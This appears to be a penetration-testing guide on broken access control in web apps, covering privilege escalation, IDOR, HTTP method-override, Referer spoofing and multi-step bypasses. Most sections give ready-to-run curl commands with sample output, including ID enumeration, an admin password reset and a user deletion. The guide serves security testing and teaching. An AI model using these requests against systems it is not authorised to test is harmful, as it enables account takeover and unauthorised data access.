# Access Control Testing

> Tests HTTP/HTTPS endpoints for broken access control flaws, including privilege escalation, IDOR, and unauthorized resource access across authentication boundaries.

- **URL:** https://hackindex.io/services/web/vulnerability-discovery/access-control-testing
- **Path:** HTTP/HTTPS > Vulnerability Discovery
- **Up:** [Vulnerability Discovery](https://hackindex.io/services/web/vulnerability-discovery.md)
- **Published:** 2026-09-13
- **Updated:** 2026-09-13

Access control testing confirms whether the application enforces authorization on every request. [Authentication](https://hackindex.io/services/web/vulnerability-discovery/authentication-vulnerability-testing) proves who you are. Authorization decides what you can do. A working login means nothing if the server hands over resources it should deny.

The core tests:

- Vertical privilege escalation: accessing admin functions as a regular user
- Horizontal privilege escalation: accessing another user's data at the same privilege level
- Method-based bypass: switching HTTP methods to skip access checks
- Referer-based bypass: spoofing the Referer header to pass weak checks
- Multi-step access control: skipping to a later step that lacks its own authorization check

## Vertical Privilege Escalation

Vertical escalation means a low-privilege user reaching admin-level functions. Start by browsing the application as a regular user and collecting every URL, then request admin endpoints directly. Many applications hide the link but serve the page to anyone who requests it.

```bash
curl -ski http://$TARGET_IP:$PORT/admin -H 'Cookie: session=LOW_PRIV_SESSION'
# HTTP/1.1 200 OK
# ...
# <h1>Admin Dashboard</h1>
```

A 200 with admin content means no server-side role check on this endpoint. A 403 or redirect to login is correct behavior. Check other admin paths too: `/admin/users`, `/admin/settings`, `/admin/logs`, `/management`, `/console`.

Some applications use request parameters or hidden fields to determine the user's role. Look for parameters like `admin=true`, `role=admin`, or `access_level=1` in the request:

```bash
curl -sk http://$TARGET_IP:$PORT/profile -H 'Cookie: session=LOW_PRIV_SESSION' -d 'role=admin'
```

Try injecting role parameters in GET, POST, and JSON bodies. If the application updates your session or returns elevated content, the role assignment is client-controllable.

## Horizontal Privilege Escalation

Horizontal escalation is accessing data belonging to another user at the same privilege level. The mechanism is the same as IDOR: change an identifier in the request and check if the server returns another user's data.

For in-depth testing of identifier tampering across endpoints, see [IDOR testing by parameter tampering](https://hackindex.io/services/web/vulnerability-discovery/idor-testing-by-parameter-tampering). For turning a confirmed IDOR into full data extraction or account takeover, see [IDOR exploitation](https://hackindex.io/services/web/exploitation/idor-exploitation).

```bash
curl -sk http://$TARGET_IP:$PORT/api/user/1002/profile -H 'Cookie: session=USER_1001_SESSION'
# {"id":1002,"username":"victim","email":"victim@corp.local"}
```

Getting back user 1002's profile while authenticated as user 1001 confirms the server is not scoping queries to the session owner. Look for this in profile endpoints, order history, messages, download links, and any request carrying a user identifier.

## Horizontal to Vertical Escalation

Horizontal access can become vertical when you discover an admin account through enumeration. If the application does not restrict which user IDs you can reference, iterate through IDs until you find an admin account, then use a state-changing function against it.

```bash
for i in $(seq 1 20); do echo -n "ID $i: "; curl -sk http://$TARGET_IP:$PORT/api/user/$i/profile -H 'Cookie: session=LOW_PRIV_SESSION' | python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('username','?'), d.get('role','?'))"; done
# ID 1: admin administrator
# ID 2: john user
# ID 3: sarah user
# ID 4: mike moderator
```

Once you know the admin's ID, target a function that changes account state. A password reset or email change against the admin account gives you full control:

```bash
curl -sk -X POST http://$TARGET_IP:$PORT/api/user/1/password -H 'Content-Type: application/json' -H 'Cookie: session=LOW_PRIV_SESSION' -d '{"new_password":"Pwned123!"}'
# {"status":"success","message":"Password updated"}
```

If the password change succeeds against the admin account, this is full vertical escalation from a horizontal access control flaw.

## Method-Based Access Control Bypass

Some frameworks apply access control rules only to specific HTTP methods. An endpoint locked down for POST might be wide open for GET, PUT, or PATCH. Additionally, certain middleware and reverse proxies honor method override headers that let you bypass front-end routing entirely.

```bash
curl -ski -X POST http://$TARGET_IP:$PORT/admin/delete-user -H 'Cookie: session=LOW_PRIV_SESSION' -d 'id=2'
# HTTP/1.1 403 Forbidden
```

POST is blocked. Try overriding the method:

```bash
curl -sk -X GET http://$TARGET_IP:$PORT/admin/delete-user?id=2 -H 'Cookie: session=LOW_PRIV_SESSION' -H 'X-HTTP-Method-Override: POST'
```

Some reverse proxies and frameworks use `X-Original-URL` or `X-Rewrite-URL` to route requests internally. If the front-end proxy denies `/admin` but passes the override header to the backend, the backend processes the restricted path:

```bash
curl -sk http://$TARGET_IP:$PORT/ -H 'X-Original-URL: /admin/delete-user' -H 'Cookie: session=LOW_PRIV_SESSION'
```

Also try different HTTP methods directly. An endpoint that blocks GET might accept PUT or PATCH:

```bash
for method in GET POST PUT PATCH DELETE; do echo -n "$method: "; curl -sk -o /dev/null -w '%{http_code}' -X $method http://$TARGET_IP:$PORT/admin/users -H 'Cookie: session=LOW_PRIV_SESSION'; echo; done
# GET: 403
# POST: 403
# PUT: 200
# PATCH: 200
# DELETE: 403
```

A 200 on PUT or PATCH while other methods return 403 confirms the access control rule does not cover all methods.

## Referer-Based Access Control

Weak implementations check only the `Referer` header to decide if a request is authorized. If the admin page at `/admin` is access-controlled but a sub-function only checks that the `Referer` contains `/admin`, you can spoof the header:

```bash
curl -sk http://$TARGET_IP:$PORT/admin/delete-user?id=2 -H 'Cookie: session=LOW_PRIV_SESSION' -H 'Referer: http://$TARGET_IP:$PORT/admin'
# {"status":"success","message":"User deleted"}
```

The Referer header is fully client-controlled. Any access check that relies on it alone is trivially bypassable.

## Multi-Step Access Control

Some applications enforce authorization only on the first step of a multi-step process. For example, step one of an admin function checks your role, but steps two and three assume you would not have reached them without passing step one. Skip directly to a later step to test this:

```bash
curl -sk -X POST http://$TARGET_IP:$PORT/admin/update-role -H 'Content-Type: application/x-www-form-urlencoded' -H 'Cookie: session=LOW_PRIV_SESSION' -d 'step=3&user_id=2&role=admin&confirm=true'
# {"status":"success","message":"Role updated to admin"}
```

If the final step processes the request without re-validating the caller's role, the entire multi-step flow is compromised. Look for hidden form fields, CSRF tokens, or step identifiers that indicate multi-step workflows in the application.

## References

- [PortSwigger - Access Control Vulnerabilities](https://portswigger.net/web-security/access-control) - Covers vertical and horizontal escalation, IDOR, and method-based bypasses with labs.
- [OWASP Testing Guide - Authorization Testing](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization_Testing/) - Authorization testing methodology from the OWASP Web Security Testing Guide.
- [OWASP Top 10 - Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/) - A01:2021, the top web application security risk.
